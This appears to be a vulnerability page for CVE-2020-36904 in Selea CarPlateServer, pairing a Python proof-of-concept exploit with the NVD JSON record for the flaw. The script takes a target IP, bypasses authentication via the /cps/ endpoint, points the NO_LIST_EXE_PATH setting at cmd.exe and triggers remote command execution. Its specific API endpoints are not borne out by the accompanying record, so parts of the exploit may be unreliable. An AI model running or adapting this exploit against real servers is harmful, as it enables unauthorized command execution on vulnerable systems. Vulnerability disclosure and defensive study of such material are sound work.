CVE-2020-36904

import requests import sys # CVE-2020-36904 PoC - Selea CarPlateServer RCE via NO_LIST_EXE_PATH # Target: Selea CarPlateServer <= 4.0.1.6 def exploit(target_ip, target_port=80): """ Exploit CVE-2020-36904 by modifying NO_LIST_EXE_PATH parameter to execute arbitrary Windows binaries """ base_url = f"http://{target_ip}:{target_port}" # Step 1: Bypass authentication via /cps/ endpoint config_endpoint = f"{base_url}/cps/apis/config/set" # Malicious payload to modify NO_LIST_EXE_PATH payload = { "NO_LIST_EXE_PATH": "C:\\Windows\\System32\\cmd.exe", "param": "/c whoami > C:\\inetpub\\wwwroot\\output.txt" } print(f"[*] Targeting: {base_url}") print(f"[*] Exploiting /cps/ endpoint to modify configuration...") try: # Send configuration modification request response = requests.post(config_endpoint, data=payload, timeout=10) if response.status_code == 200: print("[+] Configuration modified successfully!") print("[+] NO_LIST_EXE_PATH parameter updated") # Step 2: Trigger command execution exec_endpoint = f"{base_url}/cps/apis/exec" exec_payload = { "exe_path": "C:\\Windows\\System32\\cmd.exe", "args": "/c whoami" } print("[*] Triggering command execution...") exec_response = requests.post(exec_endpoint, data=exec_payload, timeout=10) if exec_response.status_code == 200: print("[+] Command execution successful!") print(f"[*] Response: {exec_response.text}") return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) ip = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(ip, port)

{"cve": {"id": "CVE-2020-36904", "sourceIdentifier": "[email protected]", "published": "2025-12-31T19:15:41.557", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Selea CarPlateServer 4.0.1.6 contains a remote program execution vulnerability that allows attackers to execute arbitrary Windows binaries by manipulating the NO_LIST_EXE_PATH configuration parameter. Attackers can bypass authentication through the /cps/ endpoint and modify server configuration, including changing admin passwords and executing system commands."}, {"lang": "es", "value": "Selea CarPlateServer 4.0.1.6 contiene una vulnerabilidad de ejecución remota de programas que permite a los atacantes ejecutar binarios arbitrarios de Windows manipulando el parámetro de configuración NO_LIST_EXE_PATH. Los atacantes pueden omitir la autenticación a través del endpoint /cps/ y modificar la configuración del servidor, incluyendo el cambio de contraseñas de administrador y la ejecución de comandos del sistema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/49452", "source": "[email protected]"}, {"url": "https://www.selea.com", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/selea-carplateserver-remote-program-execution-via-configuration-endpoint", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5622.php", "source": "[email protected]"}]}}